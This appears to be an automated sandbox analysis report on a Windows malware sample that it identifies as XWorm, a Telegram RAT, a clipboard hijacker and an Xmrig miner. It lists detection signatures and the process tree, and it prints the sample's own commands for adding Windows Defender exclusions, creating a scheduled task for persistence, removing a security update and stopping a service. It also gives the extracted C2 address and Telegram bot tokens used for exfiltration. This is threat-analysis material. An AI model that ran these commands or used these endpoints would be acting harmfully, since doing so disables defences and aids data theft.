Edit tour

Windows Analysis Report
SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe
Analysis ID:	1416943
MD5:	c8d9593196962fa5d706a207c16674cd
SHA1:	686a8e674e6615d5cd91f7b2cba0c755054b3f69
SHA256:	a50078c294c3980c23fc8da34f3fd1dc8ca042e07e0f7f67696d7035ec84700d
Tags:	AsyncRATexe
Infos:

Detection

Clipboard Hijacker, XWorm, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule binary from dotnet directory

Yara detected AntiVM3

Yara detected Clipboard Hijacker

Yara detected Telegram RAT

Yara detected UAC Bypass using CMSTP

Yara detected XWorm

Yara detected Xmrig cryptocurrency miner

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Drops PE files to the startup folder

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Reads the Security eventlog

Reads the System eventlog

Sample uses string decryption to hide its real strings

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after accessing registry keys)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Tries to load missing DLLs

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe (PID: 432 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe" MD5: C8D9593196962FA5D706A207C16674CD)

jsc.exe (PID: 3416 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" MD5: 94C8E57A80DFCA2482DEDB87B93D4FD9)

spczxf.exe (PID: 2908 cmdline: "C:\Users\user\AppData\Local\Temp\spczxf.exe" MD5: D76027FE4CFD48C7F8999C796E50E731)

aspnet_wp.exe (PID: 1340 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe" MD5: 10072393B2116AF4483194F101923CA4)

conhost.exe (PID: 640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 6744 cmdline: C:\Windows\system32\WerFault.exe -u -p 2908 -s 3156 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

ohvrxt.exe (PID: 1384 cmdline: "C:\Users\user\AppData\Local\Temp\ohvrxt.exe" MD5: D01B812C108576056594805B6E9E7064)

aspnet_wp.exe (PID: 5872 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe" MD5: 10072393B2116AF4483194F101923CA4)

aspnet_wp.exe (PID: 6388 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe" MD5: 10072393B2116AF4483194F101923CA4)

WerFault.exe (PID: 5500 cmdline: C:\Windows\system32\WerFault.exe -u -p 1384 -s 1200 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

hgzxhw.exe (PID: 3660 cmdline: "C:\Users\user\AppData\Local\Temp\hgzxhw.exe" MD5: 3F3A51617811E9581ABA50376599EFA6)

RegAsm.exe (PID: 6120 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

MSBuild.exe (PID: 3260 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cmd.exe (PID: 7020 cmdline: "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 1532 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

PING.EXE (PID: 3776 cmdline: ping 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

schtasks.exe (PID: 4836 cmdline: schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f MD5: 48C2FE20575769DE916F48EF0676A965)

msbuild.exe (PID: 3960 cmdline: "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

conhost.exe (PID: 4424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 3084 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 5964 cmdline: C:\Windows\system32\WerFault.exe -u -p 3660 -s 3136 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

utntwb.exe (PID: 5788 cmdline: "C:\Users\user\AppData\Local\Temp\utntwb.exe" MD5: 86E00D529B3B454A84B942AC916211E3)

wmplayer.exe (PID: 1204 cmdline: "C:\Program Files\Windows Media Player\wmplayer.exe" MD5: 89DCD2D4C0EC638AADC00D3530E07E1D)

powershell.exe (PID: 5684 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 5076 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 6352 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1624 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wmplayer.exe (PID: 6452 cmdline: "C:\Program Files\Windows Media Player\wmplayer.exe" MD5: 89DCD2D4C0EC638AADC00D3530E07E1D)

WerFault.exe (PID: 5432 cmdline: C:\Windows\system32\WerFault.exe -u -p 5788 -s 3120 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 420 cmdline: C:\Windows\system32\WerFault.exe -u -p 432 -s 1216 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

svchost.exe (PID: 6968 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5380 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 576 cmdline: C:\Windows\system32\WerFault.exe -pss -s 384 -p 432 -ip 432 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 1476 cmdline: C:\Windows\system32\WerFault.exe -pss -s 544 -p 2908 -ip 2908 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 6408 cmdline: C:\Windows\system32\WerFault.exe -pss -s 496 -p 1384 -ip 1384 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 396 cmdline: C:\Windows\system32\WerFault.exe -pss -s 544 -p 3660 -ip 3660 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 5504 cmdline: C:\Windows\system32\WerFault.exe -pss -s 476 -p 5788 -ip 5788 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

svchost.exe (PID: 6908 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Microsoft.exe (PID: 4536 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe" MD5: 10072393B2116AF4483194F101923CA4)

conhost.exe (PID: 5412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msbuild.exe (PID: 2432 cmdline: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

conhost.exe (PID: 3988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: Xworm

{"C2 url": ["104.194.9.116"], "Port": "7000", "Aes key": "<123456789>", "Install file": "USB.exe", "Telegram URL": "https://api.telegram.org/bot6330888131:AAE5ycZdHuNqV5SVYhHeCfRENn6GuCjwXjs/sendMessage?chat_id=1046049845"}

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot6389892231:AAEdDUVYYFJmNDGihmXB4rLw0iSrrh-e2fE/sendMessage"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.3905812861.000000000307B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.1666528793.0000016E9AC91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.1666528793.0000016E9AC91000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1fac7:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1fb64:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1fc79:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1f939:$cnc4: POST / HTTP/1.1
0000001B.00000002.2296563820.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000003.00000002.3891974556.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000003.00000002.3891974556.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6f67:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7004:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7119:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6dd9:$cnc4: POST / HTTP/1.1
00000008.00000002.1738420103.000001A4C3F01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000008.00000002.1736044836.000001A4B2722000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.1666528793.0000016E9B268000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000015.00000002.2341667196.00000292640E2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.1666528793.0000016E9AD6A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000014.00000002.2223610242.000001B044693000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe PID: 432	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe PID: 432	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe PID: 432	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe PID: 432	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: jsc.exe PID: 3416	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: spczxf.exe PID: 2908	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: spczxf.exe PID: 2908	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: spczxf.exe PID: 2908	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: spczxf.exe PID: 2908	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: aspnet_wp.exe PID: 1340	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: ohvrxt.exe PID: 1384	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: ohvrxt.exe PID: 1384	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: hgzxhw.exe PID: 3660	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: hgzxhw.exe PID: 3660	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: MSBuild.exe PID: 3260	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: utntwb.exe PID: 5788	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: utntwb.exe PID: 5788	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.jsc.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.2.jsc.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.jsc.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7167:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7204:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7319:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6fd9:$cnc4: POST / HTTP/1.1
12.2.aspnet_wp.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x5367:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5404:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5519:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x51d9:$cnc4: POST / HTTP/1.1
8.2.spczxf.exe.1a4c3fbeb00.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.spczxf.exe.1a4c3f601c8.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7167:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7204:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7319:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6fd9:$cnc4: POST / HTTP/1.1
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe", CommandLine: "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ParentProcessId: 3260, ParentProcessName: MSBuild.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe", ProcessId: 7020, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Program Files\Windows Media Player\wmplayer.exe", ParentImage: C:\Program Files\Windows Media Player\wmplayer.exe, ParentProcessId: 1204, ParentProcessName: wmplayer.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 5684, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe, ProcessId: 1340, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f , CommandLine: schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f , CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7020, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f , ProcessId: 4836, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Program Files\Windows Media Player\wmplayer.exe", ParentImage: C:\Program Files\Windows Media Player\wmplayer.exe, ParentProcessId: 1204, ParentProcessName: wmplayer.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 5684, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6968, ProcessName: svchost.exe

Malware Analysis System Evasion

Sigma detected: Schedule binary from dotnet directory

Source: Process started

